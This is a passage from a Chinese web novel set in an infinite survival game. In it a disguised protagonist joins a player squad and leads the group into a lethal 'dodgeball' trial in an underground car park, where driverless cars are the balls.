同伴在队内频道惊讶激动地问:“是那位拿到命运之眼的【占星师】吗?!” 传说最早还有一批顶端玩家,他们是真正不靠契约神明,只靠自己踏入成神门槛的天才,只是不知道为何全部陨落,只留下碎枝末节的传闻供人高山仰止。 命运之眼出自当时的传奇玩家之一【预言家】,也是后来的【命运女神】。 她提前窥破自己的死亡,在此之前以惨烈到令人心惊动魄的方式献祭了自己,用器官锻造出四大命运神器。 分别是:【窥见未来之眼】,【包含所有可能性的浩瀚启示录】,【可以改写命运的白骨笔】 和最重要的【永不崩溃的对抗命运之心】。 布莱恩虚弱地点了点头:“既然她的预言应验了,那么接下来,所有的试炼副本很可能会融合在一起。” 玩家们使用道具,在高空勘测到游乐场的另一边还有小片完好之地,准备去那里碰碰运气。 忽然后面有人低声道:“不好意思,我刚才找到一张游乐场海报,宣传语是‘让国王为你鼓掌’,下面写着几个具体的游乐项目地址,都是竞技解密的类型。” 听到有线索出现,玩家们大喜过望,转头看向出声的人。 是个青年,戴着黑框眼镜,约莫二十来岁,长相清秀,但算不上出众,胳膊上没二两肉,看穿着打扮像个毕业没多久的大学生。 虽然年轻,但气度莫名沉稳淡定。 青年环顾一圈,大概是觉得巅峰第三分队的徐队长比较靠谱,将海报递了过去,手指点在上面的标语上,解释说:“我有个猜测,谢神给出提示时没有提到第二个王,所以这里的‘国王’很有可能指代的就是‘黑王’。” “让国王为我们鼓掌的前提至少要是国王能先看见我们,也就是得到参加游戏的资格。如果这个王国的人足够尊敬或者说畏惧国王,就不会在写着他的名头的官方海报上说谎。” 青年的手指点点下面的指定项目:“它们一定是关键。” “我猜,我们要去玩这些项目,获取高分或者达标、破纪录,以此证明自己有实力参加黑王的游戏。没有被雷电波及的东边就有一个躲避球的项目。” 青年的分析不说绝对正确,至少也是条理不紊,让人信服。 徐队长大概扫一眼,为了美观,游乐场海报一般比较简洁,信息量不多。 他短时间的推测和青年差不多,毕竟现在也没有别的选择了。 只是…… 看着崭新干净的海报,再看看满目疮痍的焦土,徐队长忽然眯起眼睛,狐疑地看着青年:“我好像从来都没有见过你,你刚进游戏时在什么位置?” 第178章 宴初一 青年愣了愣。 徐队长紧盯他的表情,试图从中找出慌乱或心虚的迹象。 但青年没有,只是无奈地叹了口气:“我知道自己没有什么存在感,但徐队长,进游戏后我就和其他人躲在你的后面……你忘了吗?” 背后是个视角盲区,但徐队长也不是一动不动地站在原地。 他让队员疏散人群的时候,往后面瞄过几眼。大部分人将他们当成高玩,小鸡找母鸡似的缩在后面,确实聚集了很多人,少说二三十个。 徐队长不记得有这个年轻人。 他向队员使眼色:你们对他有印象吗? 队员幅度极小地摇了摇头。 事发突然,开局就和瘦长鬼影来了个见面杀,哪里顾得上一个个去记人家长什么样。 徐队长回头,再次打量起青年。 实话说,长得不难看,却没什么标识性。穿着打扮朴素单调,平平无奇,混在人堆里真不一定找得出来。 徐队长晃了晃手里的海报:“这个东西你在哪儿发现的?” 青年顺势指向一个方向:“那头怪物复活后我觉得它有点可怕,下意识往那边跑,路上遇到一个玩偶在发传单,从它旁边看到了一沓宣传海报。趁着它不注意,我飞快捞了一张过来。” “等等!”徐队长眯眼,“你不是说一直躲在我的身后吗?” “没有,不是一直。”青年纠正道,“拿到海报后我觉得这是个重要线索,看见那些玩偶把道路围得水泄不通,觉得凭自己的力量没办法突围,所以又跑了回来。” 他坦白自己临阵逃脱又去而复返,神色也算坦然。 徐队长顿时疑心更重了。 如果这人一开始就躲在人群里,全程被其他人挡住脸,他确实不一定会记得。 但一个跑了又回来的人,周围的人会注意不到吗? 为了不扰乱人心,徐队长掩住眼底的怀疑,和颜悦色地在青年的肩膀上拍了一巴掌:“小兄弟反应速度不错,这份线索对我们很有用,对了,你叫什么名字?” 力道有点大,青年呲牙咧嘴地吸了口气,配合地回答说:“宴初一。” “多少岁了?” “二十一。” “那不是还没大学毕业?” “不是,进游戏的时候已经毕业了,我比同龄人早一年入学。” 青年推了推眼镜,露出一抹苦笑:“就是还没来得及找到工作。” 无限游戏降临时是夏季,也是大学毕业季。 “这样啊。”徐队长看向青年目光带上一分同情。 任由谁一毕业就被拉入无限游戏,寒窗苦读出来的学历全白费,估计都要崩溃。 他又问了青年几个问题,比如实力如何,主要能力是什么。 这不算打探隐私,一般的临时小队都会透露个大概,好分配合作。 青年没有隐瞒,一一吐露。 各项数值大概在B级,能力是【敏锐感知】、【线索勘察】和【中级治愈】。 若是早期,这些技能会很有用,但现在完全够不上挑战S级试炼的资格。 青年无奈地说他不是主动参加,是被全民战线模式选中的倒霉蛋。 有同伴想跟着他进来,被他拒绝了,大家弱得如出一辙,总不能让人陪着自己送死。 一番交谈听起来没什么毛病。 徐队长再度同情地拍了拍他的肩膀:“既然你担心自己一个人应付不了,那就跟我们一起行动吧,人多好有个照应。” 青年略显迟疑,但这话是他自己说的,没有拒绝的理由,便答应下来。 徐队长将他的犹豫看在眼里,转身招呼其他人集合。变成玩偶的玩家还没死,被同伴小心地收到空间背包里,没人认领就由巅峰小队暂留。 余下大概一百二十人,一同前往东边的游乐项目。 * 水墨空间的斗篷人毫不客气地嗤笑谢叙白的伪装:“措辞漏洞百出,演技蠢得可以。在一片废墟上拿出一张干干净净的海报,你不遭怀疑,谁遭怀疑?” 不仅谢叙白蠢得可以,ta也蠢得够呛。 ta疑惑谢叙白怎么会知道副本线索,却忘记谢叙白有过目不忘的本事,游乐场被毁对他根本没有一点影响。 斗篷人琢磨,这个危机意识强到随时会从梦中惊醒的家伙,估计在识念接入棋盘世界的那一小段时间,就有目的地把所有信息都搜刮了个遍。 没有所谓的海报,S级副本给出来的线索不会那么明显简单。 海报是谢叙白编造出来的,不过是一张纸和少许的精神暗示。 海报上的内容,是谢叙白看到了广告牌上“为国王而战”的宣传标语。通过附近玩偶的徘徊数量和诡异能量的走向筛除出死亡陷阱,找到了真正的游玩项目。 最后再将这些散碎的信息联系起来,总结出一条和实际情况相差无几的逻辑线。 谢叙白毕竟是上帝视角,能在短短两三分钟时间里,找到其他玩家至少耗时大半天才能收集到的线索,似乎也没什么稀奇的。 让斗篷人不解的是,谢叙白对待线索都能做到不放过一点蛛丝马迹,为什么要伪装身份上这么马虎大意。 难道说。 斗篷人好以整暇地眯起眼睛:“你故意引起他们的怀疑?” 引起怀疑这事是好是坏,要看引起谁的怀疑。 就拿徐队长的性格来说,一时半会儿谢叙白别想再脱离他的视线范围。 说不好等下还会被赶鸭子上架,毕竟有经验的老玩家深谙一个道理:想要鉴别一个人是不是包藏祸心或身份有鬼,只需要看他在生死关头下意识的反应。 谢叙白没有接ta的话,只是语气不见起伏地反问:“那【幸存者】呢,这是你唯一的身份?” 斗篷人扯了扯嘴角,皮笑肉不笑:“你猜?” 谢叙白将原因和盘托出后,虽然斗篷人嘴角抽搐听得一脸便秘相,但最后也没赖账,干脆地道出【幸存者】这个名号。 两人以契约立誓,不存在说谎的可能。但【幸存者】的定义太笼统,游戏空间的三亿玩家都可以自称为幸存者,等于白说。 不是耍赖胜似耍赖。 好在谢叙白心态稳,对ta会耍花招也算早有预料。 正这样想着,突然听到斗篷人兴致勃勃地说:“谢叙白,那个游乐项目是我特意为你准备的,如果你能从头到尾毫无波澜地玩下去,我可以再告诉给你一个身份。” 谢叙白眼睛都没眨一下,淡淡地说:“看来布莱恩是你特意安排的。” 不是每一名神级玩家都会像布莱恩一样暴躁倨傲。 所以斗篷人选中了布莱恩,预判到他会为了对付瘦长鬼影不遗余力地动用神力,乃至于摧毁大半的游戏场。 预判到谢叙白会将自己制造成棋子,遇到他会伪装玩家进队,最后不得不随人群前往唯一幸存的游乐项目。 ——那个特意准备好的项目。 前者,谢叙白也能做到。 后者……必须是极其了解他。 仅仅知道他过去的程度,不够。 难道说斗篷人之前的震惊恼怒都是伪装出来的吗? 斗篷人还是不说话,依旧用那双不掩杀意的眼眸,宛如画笔勾勒出来的微笑,静静地凝视他。 此前斗篷人给谢叙白的感受,像是披着一层轻浮疯癫的外壳,危险但不真实。 如今壳碎开一角,坐在里面的生物终于缓缓地转过头,露出狰狞的獠牙,和他对望。 面对斗篷人的挑衅,谢叙白在短暂的沉默后,忽然一点点地勾起唇角:“行——” 泥人尚有三分火气。 他向来都是平静的,一是性格温厚,不爱争抢。 二是这样可以将万千心事藏得滴水不漏,不让身边的人担心。 但斗篷人咄咄逼人、紧逼不放的态度,终是将谢叙白体内始终压抑着的某种特性刺激醒了。 谢叙白忽然前倾上半身,与斗篷人急速拉近距离。清亮眼波似水流转,蕴出一抹摄人心魄的疯狂。两人的呼吸近在咫尺,逼得斗篷人不可避免地滞涩一瞬。 “既然你为了引起我的注意这么卖力,那我赏你一个眼神又何妨?” 谢叙白和他视线齐平,却仿佛从高处无波无澜地俯视他,弯起眼眸,笑意如和风细雨:“希望你千万——不要让我失望。” * 硝烟还未全部散去,空气弥漫着一股刺鼻难闻的焦臭味。 每当看见一个损毁的建筑物,玩家们总是不受控制地往身后瞄。 布莱恩小队缀在大部队的尾巴后面,大概和他们相隔二十多米。 玩家们颇有微词。 “他们怎么还跟着?” “要不是那位神级玩家大发神威,这里也不至于毁成这样,一点线索都捞不到。” “能叫他们走远点吗?那个男孩的眼神让我瘆得慌,随时都会跳起来杀人似的。” 有人压低声音劝阻道:“好了好了,别去看他们了,人是徐队长允许跟在后面的。再怎么说都是神级玩家,瘦死的骆驼比马大,惹毛了他们,大家都得遭殃。” 阿萨不是没看见玩家们埋怨嫌弃的目光,被看得多了,骄傲的少年顿时有点不能接受。 作为英雄小队的成员,到哪儿他们都是万众瞩目的对象,哪里受过这种气,忍不住恼恨地磨了磨牙,被同伴警告地瞪上好几眼。 不远处黑塔静静耸立,高大阴森,像沉默潜伏着的吃人怪物。 有人则看着好像没什么变化的黑塔,忽然感觉到一丝古怪:“我们明明走了那么久,怎么感觉离那座塔依旧很远?” 远大近小。他们已经跨越了大半个游戏场,可黑塔的图景还是小得没边。 不多时,他们终于抵达目的地。 虽然没有被雷暴砸中,但冲击掀起的飓风将周围的树木吹得连根拔起东倒西歪,指示牌垃圾桶和草丛栅栏直接不翼而飞,原地留下光秃秃的凹痕。 在这样的前提下,游乐项目的帐篷还能笔直地立在原地,十分有十二分的不对劲。 写着“躲避球”规则的金属牌就立在帐篷前,玩的话不要求支付游戏币,但失败要付出身体的一部分作为惩罚。 底下一排猩红小字:惩罚后需要支付的身体部位,由店家凭心情亲自指定并收取。 杜绝了一部分玩家用头发指甲取巧逃生的可能。 众人面如土色,骂骂咧咧。 只说凭心情,没有具体指代,要是店家一上来就要他们的脑袋或心脏,那不就寄了吗? 总之九死一生没跑了,大家闷葫芦似的面面相觑,都不愿意上。 徐队长看完规则,作为主心骨站了出来,严肃地看着众人:“游戏资格这种一听就很私人的东西,一般都不可能共享,大概率所有人都要参加。” “我和我的队友们可以先上,给你们一个参考,但接下来要是没人敢上,没人能管得了你们。”徐队长扫视那些虚心的目光,放柔语气,认真地劝告道,“包括那些很久没有参加游戏的人,我知道这次被选中对你们来说很突然,不能接受,但事实已经发生,害怕改变不了任何事情。一定要记住,一味逃避只是在推延自己的死期。” 忽然他的目光看向身边的谢叙白,即使脸上没有表现出来,谢叙白也能感受到他的怀疑戒备。 果不其然,徐队长说道:“初一既然没人组队,干脆跟我一起上吧。” 第179章 躲避球(1) 徐队长充满探究的眼神几乎不加掩盖。 谢叙白像始料未及,无意识地咬了一下嘴唇,面露难色说:“徐队长,躲避球考验反应速度和体力,我数值一般,可能会拖你们的后腿……” 见谢叙白一副想跑的样子,徐队长当即一个箭步按住他的肩膀,笑呵呵地说:“没关系,我们都不怕,你怕什么?副本往后只会越来越危险,倒不如在前期多发育,增强自己的战力。看这项目根本没人玩的样子,我们应该是第一批参加的客人——没准首次闯关还会有特别的奖励道具呢!” 谢叙白“毫无反抗能力”地被他拽了过去。 “可是我……”谢叙白瞄着黑黝黝的游乐帐篷,眼底浮现出一抹清晰的惧色。 徐队长压低声音,苦口婆心地劝他:“主要你也看见了,规则上写的每次参加人数不得低于二十人,我们小队人数不够,其他人又不敢上,难道就这么僵持着吗?你再看看后面,看看那些老人和小孩,难道要他们先上?” 是的,被强制参加副本这事,老人小孩也不能免俗。 虽然没老到要拄拐,小到穿尿布的地步,但看着老人的满头白发和枯瘦身板,小孩欲哭不哭的眼神和不到成年人腰杆的个头,还是会忍不住大骂系统丧尽天良。 徐队长是有感而发。 巅峰重组后,里面不再全是正式军,但保家卫国怜惜弱小的信念始终铭刻在他们的骨子里,也导致他们死生抹不去对抗无限游戏的决意。 不过如今秩序崩坏,这种道德观念也只有来约束自己了,强令别人遵守属实是强人所难。 却没想到青年听到这话,竟是停下挣扎,看看乌漆嘛黑的帐篷又看看身后孱弱的老人小孩,最后闭了闭眼,似乎破罐子破摔地鼓起勇气,努力压住声音里的一丝颤抖:“那我试试吧。” 一个被逼上阵,畏缩犹豫,但关键时候却能硬着头皮上的年轻人形象,登时被诠释得淋漓尽致。 徐队长都没想过谢叙白会突然松口,为了验证对方是不是真的有鬼,他甚至做好对方奋力挣扎,然后自己半拖半拽强迫人参加的准备。 也是这个时候,徐队长碰巧触及到谢叙白的肩峰。 清瘦的年轻人身上确实没二两肉,徐队长也没想到自己一下能按到骨头,反过来膈了他的手。 他面对谢叙白惴惴却坚定的脸,只有警戒的内心,终于流露出一丝松动和迟疑。 谢叙白将这微小的情绪变化看在眼底。 徐队长想试探他,他何尝不是在试探对面的人品。 从魔术师口中得知巅峰的名头后,谢叙白直觉巅峰上层会有自己想知道的真相,一直计划找个联络人为他引荐。 魔术师不行,对方坚持自己和巅峰没什么交情,曾经一度因为观念相驳,差点结下死仇。 谢叙白的身份不行,巅峰全体对无限游戏敌意浓烈,他没法确保大众认知里身为游戏一部分(NPC)的自己能得到他们的另眼相待。 最关键的问题,试炼副本并不难,幸存下来的人类群体中亦不缺精英大佬。 为什么他们会一而再,再而三,反反复复循环重生,依旧落到个惨烈失败的结局? 谢叙白比旁人多一个优点,就是沉得住气,在得到答案之前,他宁愿稳一手,所以徐队长被他挑中。 要在开场得到徐队长的好感度,并不难,谢叙白完全可以将自己伪装得滴水不漏,但那不是他想要的。 他想要的,是得到巅峰第三分队成员完完全全的信赖和看重。 不温不火从头开始培养信赖,远不如生死关头破而后立,情绪于激烈到濒死的危机中碰撞,动摇,又在大量的多巴胺分泌中急剧转变,从怀疑到震惊再到交付真心——要来得深刻得多。 但斗篷人似乎预料到了他的想法。 这让谢叙白不得不警觉。 眼下进入该副本的都是巅峰第三分队的精英成员,既是精英,人数就不可能太多。 由徐队长牵头带领,总计12人,留2名后勤以防万一。 算上谢叙白,还缺9人。 人群又一次陷入沉默,正迟疑着,忽然后面传来一声厚重沙哑的英语:“我来。” 简单的单词拼凑,就是小学生都能听懂是要上的意思。 虎背熊腰的淡金发雇佣兵跻身靠近人群,胸口的绷带还在渗出鲜红的血丝,压迫感十足。 人群哗然散开。 先不说布莱恩靠不靠谱,至少这人压倒性的实力,大家有目共睹。 但见布莱恩的脸上毫无血色,鬓角冷汗直冒,又忍不住质疑他到底能不能行:“你行吗?要不然还是躺着吧?” 不是好心,是怕这家伙该出力的时候昏倒,又添乱子。 布莱恩瞥他们一眼,什么话都没说,只是从地上捡起一块石头,然后,肩峰往下整条手臂化作残影。 人们甚至没看清楚他丢出石头的动作,只听到耳畔轰一声炸开音爆的震鸣,下一秒剧烈的爆炸在不远处响起,半边楼层大的铁制广告牌,被砸出偌大的窟窿。 大窟窿从远到近,映着人们嘴巴大张瞠目结舌的表情。 广告牌的金属杆不堪重负,吱呀一声,哐当倒下。 人群:“……” 布莱恩看向徐队长,没有一开始的倨傲,只是正常询问:“我们能参加吗?” 徐队长当然欣然鼓掌欢迎。 要不是看重他们的战斗力,他也不会允许这群人跟在队伍后面。 看到黄毛洋鬼子都敢拖着伤重的身体参加,人群多少被激起了血性。 不多时一个体格略显健壮的女生站了出来,举手说:“我B级,但进游戏前是校田径队的铅球运动员,点亮了【投掷命中概率增加】的相关天赋,或许能帮得上忙。” 又有一个男人站了出来,尖嘴猴腮,流里流气,嬉皮笑脸说:“我进游戏前是一小偷……诶诶诶!别这么看着我,已经从良了!没别的本事,就是反应快,保管躲避球砸不中我!” “那……算上我!” “反正横竖都是一死,还有我!” “是啊,又不会真死,加我一个!” 有时候,人们能不能凝聚在一起,就差一个率先打破沉默的人。 很快二十人凑齐,甚至还有多余的玩家被排到下一批。 * 看着热情空前高涨的玩家,水墨空间的斗篷人在棋盘上落下一子。 啪。 * 众人雄赳赳气昂昂地掀开帐篷的帘子,朝里面大吼一声:“有没有人?老板呢!生意上门了,快出来迎客!” 结果一扭头,差点被吓得魂飞魄散:“艾玛卧槽!” 只见门口前台正杵着一道人形轮廓,缩在前台和帐篷的夹角里,几乎和昏暗的背景融为一体。 影子和最近的玩家不过一个桌子的距离,近到玩家能看清楚那双掠食者般冒着阴毒精光的眼睛,近到后者伸手就能掐断他的脖子。 刚才门口站了那么多人激烈讨论,却始终没听到帐篷里传出动静,他们还以为没人。 哪想到不仅有人,还悄无声息的,不知道将他们的对话听了多久。 “啊啊啊——” 距离最近的玩家被吓软腿,用最快速度躲到旁边去了,第三分队的人则是听到动静焦急地往里探。 唰一下门帘敞开,黯淡阴沉的天光照射到影子上,它动了,站起来,众人才看清这家伙的真面目,忍不住又是一怵。 最先映入眼帘的是那堪称狰狞的大面积烧伤,整张脸都被毁了,一只眼睛被烧瞎,只剩浑浊的白翳,看不清原本的长相。 身体各处红肿起泡,黄黄的脓水往外渗,两根长长的细管子探入鼻腔,一路蔓延到腰间的便携式呼吸机。 焦黑丑陋的瘢痕弯弯曲曲,老树根一样从脸蔓延到腰下,连大腿都没能幸免。 可见被火烧时的惨烈。 一般人看到伤得如此惨重的人,下意识会心生怜悯,但现场的玩家没法生出同情,只因这人当着他们的面,缓缓拿出藏在前台柜下的东西。 东西撞在台面上,发出咚一声轻响。 那是一把质地坚硬的大砍刀,也有个别称,叫杀猪刀。 刀锋在光线的映衬下反射出一阵森寒的白光,很锋利,近期至少打磨过一次。 刀面上沾着红褐色的痕迹,是被反复浸润后洗不干净的血迹。 玩家们这才发现,这人的膀子简直粗得不像话,掌心和虎口一层厚茧,指甲里满是黢黑的油垢。 就像天生就干宰杀的活。 一片死寂中,这人忽然一眨眼,笑开了花:“哎呀,欢迎各位,之前睡着了,都没顾得上出来迎客。你们这些站在这里的人都是来往躲避球的?嚯,好久没看到这么多人了,逢荜生辉,逢荜生辉。” 有人没忍住纠正:“是蓬荜生辉。” 老板竟是个好脾气,浑不在意地在围裙上擦了擦手:“都一样嘛,我是个大老粗,又不懂得这些。好了,规则你们都看完了吧?三局两胜,要参加的人顺着这条道往里走。” 他说话时,透明管子随着急促的呼吸喷出一股股白色气雾,被压抑的呼吸带着黏腻的鼻音,在静谧的帐篷内格外粗重,像牛喘。 众人看着都觉得难受,但老板还和和气气地笑着。 似是不经意的,老板朝谢叙白看了一眼,笑容浓烈了几分。 那一瞬间,谢叙白没来由的心跳一滞,听到自己的内心深处传来了一声婴儿撕心裂肺的啼哭。 哇啊啊啊! 哇—— 震耳欲聋。 谢叙白原以为如今的自己可以做到心如止水,但不知道是不是分割精神体影响状态,他忽然被一股强烈的情感揪住心脏,大脑一片空白。 突然,有人拍了下他的肩膀。 谢叙白猛然回神,转头发现是巅峰小队留备观望的后勤成员之一,他悄咪咪地将符纸塞到谢叙白的掌心。 那人压低声音说:“队长就是疑心病重了点,你别在意。我们用技能测到这帐篷里阴气有点重,恐怕有那种玩意出没,你拿着,或许能帮你挡灾。” 除了谢叙白,其他人也被分到驱邪符纸,商店两百积分一张,对财大气粗有底蕴的大公会来说不贵,但肯拿出来的人很少。 多了一层保障,紧张兮兮的众人顿时放松不少。 “你没什么战斗技能,升到B级不容易吧。”后勤成员深有同感地朝他挤挤眼,趁着大家没注意,谢叙白的手里又多了两张符纸。 这是格外的,后勤成员自掏腰包,其他人都是一张。 他说:“看你面善,注意安全,千万别死了。” 或许后勤人员是真的对他有好感,或许这也是笼络人心的伎俩。 但谢叙白因这个小插曲,彻底从那股激烈情感中挣脱出来。 谢叙白缓慢地眨了眨眼,看着手里的符纸,忽而冲他一笑:“好。” 青年轻声像是在承诺:“但只有我不死,不行,要让大家都活下来才行。” 后勤人员一愣,好一会儿才回神,望向谢叙白已经走远的背影,忍不住摸了摸鼻子,嘀嘀咕咕:“也没长得多惊世骇俗,笑起来还怪好看的。” 至于谢叙白最后的那句话,则被他当成年轻人纯真无邪的幻想。 这可是S级副本,大家都活下来,怎么可能呢? 帐篷内外明显不是同一个空间,越走越深,远远超出帐篷的范围。 众人扯住前一人的衣角,忍着不安穿过狭窄漆黑的通道,眼前终于豁然开朗。 他们以为自己会来到大众印象里开阔的躲避球场所,像沙滩或足球场。 却没想到,竟然会出现在……地下停车场? led灯正常运转,明亮刺目的白色灯光呈排延伸至好似没有尽头的车库深处,铺上深色塑料地皮的地板亮得反光,能清晰照出人影轮廓。 两边停车位摆满车辆,大型车小型车都有,还有电动车。 玩家站在一个十字交叉口,左右看都是差不多的布局。 四四方方的回廊,白色立柱,白油漆画的停车位和道路箭头,没有内容的蓝色铁皮指示牌,像复制粘贴出来的一样。 周围很寂静空旷,说话甚至能听到回声。 但没有一个负责说明情况的NPC出现,连走在最前面的老板都隐身消失了,就有点不太对了。 不安感在众人心中蔓延。 有人发出灵魂质问:“难道我们要在这里玩躲避球?老板!喂——好歹给个提示吧!” “等一下,大家快看,这里有张新闻报纸!” 听到声音的人连忙围聚过去。 率先发现报纸的人试图将它拿起来,但报纸在地上粘得很死。 上面有一道清晰的车辙印,印子上泥污混着血污,还有新鲜的血肉和白花花的脂肪。 看起来就像有人拿着报纸路过,猝不及防被车撞上,身体一部分和报纸一块被疾驰而过的车轮胎碾成血肉模糊的薄饼,无法分离。 玩家忍着恶心,努力分辨报纸上的信息。 有人念出来:“X年X月X日凌晨两点半点左右,一男子在XX小区地下车库遭反复碾压,当场死亡。 肇事车辆车主系该小区业主,事发半小时前被撬锁。 犯案者穿深棕色大衣,戴口罩和棒球帽,并在确定遇难者死亡后将其拖入过道的杂物间,随后顺着居民楼一层住户违规打通的地下室通风管道逃逸……” “这里面说的地下车库,该不会……就是我们在的这个车库吧?” 众人抬起头,相互对视一眼,都在各自的眼中看见一抹不祥的预感。 最关键的是,他们要怎么在这里玩躲避球? 球呢?对手呢? 谢叙白拧着眉头,飞快扫了一眼四周,大脑急速运转。 地下车库。 毫无防备被撞死的人,逃逸的肇事者,车。 聚集在一起无头苍蝇似的他们,看不见的对手,球…… 猛然间谢叙白福如心至,急吼一声:“躲开找掩体!那些车就是球!!” 下一秒,所有的无人车辆毫无征兆地启动,车前灯大亮!唰唰唰,将岑寂的车库映得亮如白昼! 第180章 躲避球(2) 【躲避球规则如下(简略版)】 (1)玩家每次参加人数不能少于二十人,上不封顶。 (2)老板发球。 (3)老板每局派出的球员数量不定,但【真正的球员】只有一个,【真正的球】也只有一个。 (4)只有接住【真正的球】,或用【真正的球】砸中对方球员,才能判定对方球员出局。 (5)比赛一经开始不允许暂停,不允许球员中途退场,除非决出当局胜负。 (6)玩家全体出局或阵亡,老板赢。 【真正的球员】出局或阵亡,老板输。 (7)三局两胜。 * 断电沉寂的广告牌滋啦一下发出狂蜂般的噪鸣,如重新接入信号的电视机。 在一阵闪烁的雪花影像后,消失的瘦长鬼影出现在大屏幕上。 留待帐篷外的玩家们惊恐回头。 瘦长鬼影换上播报员的蓝色西装,面具般的脸上咧出大大的笑。 它清了清嗓子,正常说话都带着尖笑的高昂,操着那口滑腻诡谲的腔调,如同一名真正的游乐场宣传员,热情爽朗地解说—— “大家好,接下来为各位观众和游客上演的是躲避球项目,由二十名外来参赛选手和店家精心选拔的球员进行参赛!” “虽然是很多年以前的老游戏,但作为家喻户晓的经典竞技项目,王国居民们对这场比赛的关注度达到了空前绝后的地步。” “听说就连黑王陛下也对这场赛事有所耳闻!对只在第一层的老板来说是何等的荣幸!” 瘦长鬼影:“哦?等一等,现场接进来了一名王国民众的热线电话,让我们听听他想说什么。” “这位民众说,‘我一点都不嫉妒躲避球项目的老板能获得陛下的关注,我真是太为这个卑贱粗鲁且没有一点脑子的屠夫感到开心了,开心到恨不得将他的骨头内脏全部掏出来!’……果然很开心啊,身为解说员的我也有相同的想法呢!” 瘦长鬼影捂着脸笑得仿佛要掉下泪来,它身上那股癫狂的特质在提到黑王的名号时直线上升,叫观看的玩家寒毛直竖。 随后瘦长鬼影拍了拍脸,似乎平复了一下心情,笑盈盈地说。 “不管怎么说,随便把人的骨头内脏掏出来是不对的,小朋友们可千万不要学~” “下面播放一段对躲避球项目老板的采访,让老板来为我们讲解一下他成功获得陛下关注的秘诀。” 屏幕唰一下变化,失真嘈杂的影像画面中出现躲避球老板的身影。 粗膀子,呼吸器,大块头,旁边摆着沾血的杀猪刀。 他的动作非常拘谨,粗糙的双手放在一起揉搓个不停,又或者说受宠若惊,结结巴巴好半会儿才说顺畅了话。 提到经营理念,似乎进入了他擅长的领域,瞬间店老板的表情变了,一张满是烧伤的脸因为小眼睛中压不住的兴奋而格外可怖。 店老板对着大屏幕露出和善的微笑。 “虽然只有被【真正的球】砸中才会判出局,但要是玩家被其他球砸出个好歹来,那肯定也不能继续参赛了,对不对?” “你问为什么玩个躲避球还会受伤?” 店老板摆了摆双手:“不要大惊小怪嘛,这年头喝个水都会不小心被呛死,体育竞技有风险很正常啦,免责声明写在这里,我们绝不强人所难。” “游戏途中若有非自然现象发生,不用惊慌,那是正常的,是为了让玩家身临其境而做出的小小改造。” “小店低成本经营不容易,有什么不合理的地方,还望玩家们多多包涵,和气生财,和气生财。” “嗯?什么?” “你说这个球不太对?” 店老板顿了顿,和善的笑容中缓缓流露出阴毒的气息,呼吸管道喷出抖动的白雾:“拜托,又是谁规定躲避球的球必须是个球呢?” 画面定格在他不怀好意的笑脸上,下一秒转向游乐场的宣传视频。 背景乐欢快温馨,玩偶们放飞热气球。 五颜六色的气球飘在天空,配合四面八方无孔不入的孩童笑声,整个画面像童话故事里祥和美丽的梦幻王国。 【我们竭诚为每一位玩家送上最暖心的服务!我们将奉献自己的汗水、血肉、骨头、灵魂乃至于一切来打造出全球最有趣的游乐场!】 【祝您游戏愉快!为崇高的黑王欢呼!】 —— 不少玩家想到了谢叙白这一层,但没他快,而车辆发动卡的就是这短短几秒的时间。 足足二十个人,被白色立柱分割出来的通道又算不上宽敞。 为了查看地上的报纸信息,他们聚集在一块,听到吼声反射性慌张四散,毫无意外嘭一声面对面相撞,脑子嗡嗡发麻,差点没站稳。 直接乱成一锅粥。 而汽车引擎的噪音已经在耳畔炸响,刺目的远光灯灼得人眼睛生疼! 危急之下,徐队长只来得及提起就近的两个人,跻身躲在立柱后面,同时心中闪过其他人茫然无措的脸。 这就是为什么所有人都追求等级和数值,又对进入超过自身等级的副本感到绝望。 数值不够,反应力低下,就算提前知道会很危险又能怎么样,该躲不开还是躲不开,这是事实。 布莱恩眸色一冷,下意识蓄起雷电想要将所有的车辆逼停。 紧接着如鹰敏锐的的视力,让他捕捉到车箱底下滴滴答答的黑水。 ——是汽油! 要是让雷电点燃汽油,肯定会爆炸,在这种狭小的通道上,一半的人都会被炸飞! 布莱恩瞳孔骤缩,飞快收起雷电,余下的时间只够他顺带捞起一人,往上一跳,手指插入白色立柱的石体做支撑,如雁轻盈地悬在半空。 场地限制太多,堪称针对性的陷阱。 不管是布莱恩还是徐队长,都认定这次肯定要死几个人,就像所有玩家以往无数次经历的那样。 却没想到,就在这千钧一发之际,所有玩家忽然如热气球般唰一下直线升空,啪啪啪一阵响,劈头盖脸撞上天花板! 而在他们身体腾空的刹那,底下的两辆汽车轰然相撞了!橙红火星歘一下冒出,几乎瞬间点燃道路上洒满的汽油! 布莱恩预先知道这一个坑,没有犹豫,捏碎道具撑开屏障,倒扣罩住两辆车。 连续半天经过两次狂轰乱炸,巅峰小队成员更是一回生二回熟,本能般紧跟其后,加固屏障。 轰—— 热浪扑面,爆炸声起,屏障被炙热的火舌撑到膨胀发光! …… 直至好半会儿,火焰才散去,周围恢复死一般的寂静。 屏障防护很到位,没有人员伤亡。 底下浓烟滚滚。 原本两车相撞的地方,地板都被燎得焦黑。周围的车辆被波及,引起连锁爆炸,黑烟散去后,只剩几具静静燃烧的钢铁残骸。 玩家们于激烈的心跳中抬起头,正要为逃过一劫而高兴,看到自己浮在半空又是一惊:“什,什么情况?” 又有一个声音冒出来,人群中稍显突兀,夹着哭腔快受不了似的:“我快不行了,是不是可以……?” 包括徐队长在内的玩家,下意识朝声源处看了过去。 一个玩家颤颤巍巍抬起双手,一脸菜色,无形的技能波动从掌心蛛网般散开,很不稳,仿佛随时能被榨干。 众人恍惚想起这名玩家的主要能力就是【控制重力】,但因为只有B级操控不了很重的东西。 该玩家最开始毛遂自荐的时候,也只是弱弱宣称:“或许能把球的重量降低,让大家方便接到……” 没想到会在关键时候救了大家一命。 但下一秒,徐队长等人顺势看见【重力】玩家身后的青年,骤然回过味来:第一时间做出反应的恐怕另有其人! 刚好就听见青年用温柔的嗓音说出恐怖的话:“不可以,我们只要落下去,就会有无数辆车撞过来。” 仿佛应召着他的话,地上被火焰包裹的车唰一下消失了,空荡荡的车位上再次刷新出完好无损的车辆。 引擎嗡嗡发出轰鸣,为下一次撞人蓄势待发。 【重力】玩家见状真的要哭了,他能粗略操控的也不过小一吨重量的东西,这么多人加在一起好重啊! 谢叙白和他对视,眼眸若璀璨繁星,语重心长地鼓励:“你可以的,相信自己。” 【重力】玩家内心飙泪:我不可以! 可是不知道为什么,对上谢叙白熠熠生辉的眼睛,他说不出拒绝丧气的话。 也不知道为什么,这人的眼神好像真的能给人实质性的力量,他忽然觉得自己有使不完的力气是怎么回事? 